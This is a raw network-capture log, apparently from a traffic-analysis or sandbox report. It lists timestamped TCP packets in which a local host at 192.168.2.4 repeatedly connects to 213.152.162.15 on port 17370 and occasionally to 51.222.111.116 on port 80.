Oct 8, 2024 02:41:08.023346901 CEST	17370	64398	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:08.023479939 CEST	64398	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.028353930 CEST	17370	64398	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:08.610415936 CEST	17370	64398	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:08.610527039 CEST	64398	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.610609055 CEST	64398	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.615510941 CEST	17370	64398	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:08.723990917 CEST	64399	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.729015112 CEST	17370	64399	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:08.729078054 CEST	64399	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.754946947 CEST	64399	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.759805918 CEST	17370	64399	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:08.759870052 CEST	64399	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.765058994 CEST	17370	64399	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:09.470700026 CEST	17370	64399	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:09.470798016 CEST	64399	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:09.470904112 CEST	64399	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:09.475845098 CEST	17370	64399	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:09.583425999 CEST	64400	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:09.588901997 CEST	17370	64400	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:09.589030027 CEST	64400	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:09.612274885 CEST	64400	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:09.617289066 CEST	17370	64400	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:09.617369890 CEST	64400	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:09.622335911 CEST	17370	64400	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:10.311047077 CEST	17370	64400	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:10.311160088 CEST	64400	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:10.311242104 CEST	64400	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:10.316160917 CEST	17370	64400	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:10.427138090 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:10.432214022 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:10.432390928 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:10.458765984 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:10.463828087 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:10.464006901 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:10.469091892 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:11.828972101 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:11.829025030 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:11.829051971 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:11.829166889 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:11.829166889 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:11.829168081 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:11.829269886 CEST	64401	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:11.834265947 CEST	17370	64401	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:11.944967985 CEST	64402	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:11.951570034 CEST	17370	64402	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:11.951766968 CEST	64402	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.043159008 CEST	64402	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.049561977 CEST	17370	64402	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.049752951 CEST	64402	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.055463076 CEST	17370	64402	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.672734022 CEST	17370	64402	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.672844887 CEST	64402	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.672940016 CEST	64402	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.677839041 CEST	17370	64402	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.786418915 CEST	64403	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.791569948 CEST	17370	64403	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.791668892 CEST	64403	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.827174902 CEST	64403	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.832389116 CEST	17370	64403	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.832468987 CEST	64403	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:12.837272882 CEST	17370	64403	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:12.934938908 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:12.941363096 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:13.038127899 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:13.114360094 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:13.528172970 CEST	17370	64403	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:13.528409004 CEST	64403	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:13.528409004 CEST	64403	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:13.533530951 CEST	17370	64403	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:13.645750046 CEST	64404	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:13.651067972 CEST	17370	64404	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:13.651159048 CEST	64404	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:13.685899973 CEST	64404	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:13.690933943 CEST	17370	64404	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:13.690994024 CEST	64404	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:13.695920944 CEST	17370	64404	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:14.379754066 CEST	17370	64404	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:14.381463051 CEST	64404	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:14.382076025 CEST	64404	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:14.387008905 CEST	17370	64404	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:14.516181946 CEST	64405	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:14.521605968 CEST	17370	64405	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:14.525871992 CEST	64405	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:14.729393005 CEST	64405	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:14.739634991 CEST	17370	64405	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:14.742234945 CEST	64405	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:14.752172947 CEST	17370	64405	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:15.264915943 CEST	17370	64405	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:15.265012980 CEST	64405	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:15.265125990 CEST	64405	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:15.270214081 CEST	17370	64405	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:15.380280018 CEST	64406	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:15.385565042 CEST	17370	64406	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:15.385791063 CEST	64406	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:15.413197041 CEST	64406	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:15.418451071 CEST	17370	64406	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:15.418661118 CEST	64406	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:15.423661947 CEST	17370	64406	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:16.175532103 CEST	17370	64406	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:16.175728083 CEST	64406	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:16.175728083 CEST	64406	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:16.180924892 CEST	17370	64406	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:16.286403894 CEST	64407	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:16.291801929 CEST	17370	64407	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:16.291877031 CEST	64407	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:16.317002058 CEST	64407	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:16.322046041 CEST	17370	64407	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:16.322104931 CEST	64407	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:16.326998949 CEST	17370	64407	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:17.019418955 CEST	17370	64407	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:17.019649029 CEST	64407	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:17.019709110 CEST	64407	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:17.024749041 CEST	17370	64407	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:17.130305052 CEST	64408	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:17.135409117 CEST	17370	64408	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:17.135612965 CEST	64408	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:17.159729004 CEST	64408	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:17.165390968 CEST	17370	64408	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:17.165595055 CEST	64408	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:17.171504974 CEST	17370	64408	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.019803047 CEST	17370	64408	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.020015001 CEST	64408	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.020015001 CEST	64408	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.025026083 CEST	17370	64408	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.130294085 CEST	64409	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.135656118 CEST	17370	64409	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.135756016 CEST	64409	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.166085958 CEST	64409	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.171087980 CEST	17370	64409	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.171150923 CEST	64409	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.176032066 CEST	17370	64409	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.846951962 CEST	17370	64409	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.847023010 CEST	64409	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.847114086 CEST	64409	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.851986885 CEST	17370	64409	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.958437920 CEST	64410	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.963884115 CEST	17370	64410	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.963984013 CEST	64410	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.985415936 CEST	64410	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.990487099 CEST	17370	64410	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:18.990612984 CEST	64410	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:18.995773077 CEST	17370	64410	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:19.727328062 CEST	17370	64410	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:19.727518082 CEST	64410	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:19.727518082 CEST	64410	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:19.732388020 CEST	17370	64410	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:19.833523989 CEST	64411	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:19.839790106 CEST	17370	64411	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:19.839864969 CEST	64411	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:19.858692884 CEST	64411	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:19.863811016 CEST	17370	64411	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:19.864001989 CEST	64411	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:19.871741056 CEST	17370	64411	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:20.557254076 CEST	17370	64411	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:20.557439089 CEST	64411	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:20.557439089 CEST	64411	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:20.562346935 CEST	17370	64411	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:20.636476994 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:20.649377108 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:20.661423922 CEST	64412	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:20.666589975 CEST	17370	64412	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:20.666678905 CEST	64412	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:20.751697063 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:20.778501987 CEST	64412	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:20.783833981 CEST	17370	64412	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:20.784051895 CEST	64412	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:20.789012909 CEST	17370	64412	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:20.801321030 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:21.164876938 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:21.208170891 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:21.420152903 CEST	17370	64412	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:21.420222998 CEST	64412	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:21.420344114 CEST	64412	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:21.427386999 CEST	17370	64412	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:21.536592960 CEST	64413	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:21.541544914 CEST	17370	64413	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:21.541631937 CEST	64413	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:21.568404913 CEST	64413	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:21.573405981 CEST	17370	64413	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:21.573472977 CEST	64413	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:21.578368902 CEST	17370	64413	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:22.257771015 CEST	17370	64413	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:22.257848978 CEST	64413	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:22.257946014 CEST	64413	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:22.262960911 CEST	17370	64413	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:22.364727974 CEST	64414	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:22.370155096 CEST	17370	64414	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:22.370240927 CEST	64414	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:22.406903982 CEST	64414	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:22.412332058 CEST	17370	64414	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:22.412398100 CEST	64414	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:22.417270899 CEST	17370	64414	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.102612972 CEST	17370	64414	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.102689981 CEST	64414	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.102790117 CEST	64414	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.107788086 CEST	17370	64414	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.208393097 CEST	64415	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.214637041 CEST	17370	64415	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.214715958 CEST	64415	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.242707968 CEST	64415	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.247934103 CEST	17370	64415	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.247996092 CEST	64415	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.252928972 CEST	17370	64415	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.951329947 CEST	17370	64415	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:23.951410055 CEST	64415	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.951668978 CEST	64415	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:23.956882000 CEST	17370	64415	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.022480965 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:24.067784071 CEST	64416	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.073236942 CEST	17370	64416	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.073301077 CEST	64416	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.077852011 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:24.234980106 CEST	64416	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.240380049 CEST	17370	64416	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.240746021 CEST	64416	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.245640039 CEST	17370	64416	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.813744068 CEST	17370	64416	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.813816071 CEST	64416	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.813929081 CEST	64416	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.819237947 CEST	17370	64416	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.927068949 CEST	64417	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.932188988 CEST	17370	64417	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.932300091 CEST	64417	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.983124018 CEST	64417	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.988589048 CEST	17370	64417	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:24.988780022 CEST	64417	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:24.993650913 CEST	17370	64417	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:25.674446106 CEST	17370	64417	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:25.674662113 CEST	64417	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:25.698357105 CEST	64417	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:25.703444958 CEST	17370	64417	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:25.928345919 CEST	64418	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:25.933363914 CEST	17370	64418	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:25.933430910 CEST	64418	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:25.968697071 CEST	64418	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:25.973892927 CEST	17370	64418	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:25.973958015 CEST	64418	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:25.979876041 CEST	17370	64418	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:26.665570974 CEST	17370	64418	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:26.665752888 CEST	64418	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:26.665860891 CEST	64418	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:26.670696020 CEST	17370	64418	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:26.770935059 CEST	64419	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:26.776027918 CEST	17370	64419	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:26.776133060 CEST	64419	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:26.798079967 CEST	64419	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:26.802944899 CEST	17370	64419	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:26.803020000 CEST	64419	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:26.807923079 CEST	17370	64419	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:27.515155077 CEST	17370	64419	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:27.515482903 CEST	64419	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:27.515578985 CEST	64419	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:27.520378113 CEST	17370	64419	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:27.630500078 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:27.635853052 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:27.639682055 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:27.766843081 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:27.772247076 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:27.775533915 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:27.780666113 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.271958113 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.271974087 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.272016048 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.272175074 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.272175074 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.272267103 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.380223036 CEST	64421	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.517410994 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.517544031 CEST	17370	64420	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.517573118 CEST	17370	64421	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.517597914 CEST	64420	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.517648935 CEST	64421	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.537544012 CEST	64421	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.846260071 CEST	17370	64421	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:29.846339941 CEST	64421	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:29.851340055 CEST	17370	64421	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:30.284097910 CEST	17370	64421	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:30.284231901 CEST	64421	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:30.284338951 CEST	64421	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:30.289324045 CEST	17370	64421	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:30.395901918 CEST	64422	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:30.403285980 CEST	17370	64422	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:30.403409958 CEST	64422	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:30.423603058 CEST	64422	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:30.429282904 CEST	17370	64422	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:30.429356098 CEST	64422	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:30.434900045 CEST	17370	64422	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:31.043827057 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:31.049082994 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:31.146737099 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:41:31.161164045 CEST	17370	64422	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:31.161272049 CEST	64422	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:31.161369085 CEST	64422	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:31.166630983 CEST	17370	64422	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:31.270999908 CEST	64423	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:31.276074886 CEST	17370	64423	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:31.276269913 CEST	64423	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:31.301923990 CEST	64423	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:31.302006006 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:41:31.307040930 CEST	17370	64423	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:31.307113886 CEST	64423	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:31.312073946 CEST	17370	64423	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:32.174840927 CEST	17370	64423	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:32.175024986 CEST	64423	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:32.175024986 CEST	64423	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:32.180107117 CEST	17370	64423	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:32.286484957 CEST	64424	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:32.291574001 CEST	17370	64424	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:32.291654110 CEST	64424	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:32.309722900 CEST	64424	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:32.314734936 CEST	17370	64424	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:32.314794064 CEST	64424	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:32.319657087 CEST	17370	64424	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.000010967 CEST	17370	64424	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.000071049 CEST	64424	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.000186920 CEST	64424	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.006196976 CEST	17370	64424	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.114811897 CEST	64425	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.119832039 CEST	17370	64425	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.119918108 CEST	64425	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.137882948 CEST	64425	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.142838955 CEST	17370	64425	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.143028975 CEST	64425	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:33.148078918 CEST	17370	64425	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:33.866514921 CEST	17370	64425	213.152.162.15	192.168.2.4
